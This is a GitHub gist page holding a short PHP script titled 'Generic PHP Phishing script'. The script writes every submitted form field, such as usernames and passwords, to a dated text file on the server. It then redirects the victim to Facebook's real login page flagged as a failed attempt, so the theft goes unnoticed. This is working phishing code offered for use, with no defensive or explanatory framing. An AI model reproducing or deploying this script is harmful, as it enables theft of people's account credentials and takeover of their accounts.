Skip to content

Instantly share code, notes, and snippets.

@henriksb
Created November 2, 2018 22:16
Show Gist options
  • Select an option

  • Save henriksb/f523ef6bf38d086c386c0773ae8a07ef to your computer and use it in GitHub Desktop.

Select an option

Save henriksb/f523ef6bf38d086c386c0773ae8a07ef to your computer and use it in GitHub Desktop.
Generic PHP Phishing script
<?php
if ($_POST) {
$creds=fopen(date("Y-m-d").".txt","a+");
foreach ($_POST as $name => $val) {
fwrite($creds, htmlspecialchars($name . ': ' . $val."\r\n"));
}
fwrite($creds, "------------------\r\n");
header("Location: https://www.facebook.com/login.php?login_attempt=1&lwv=110");
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment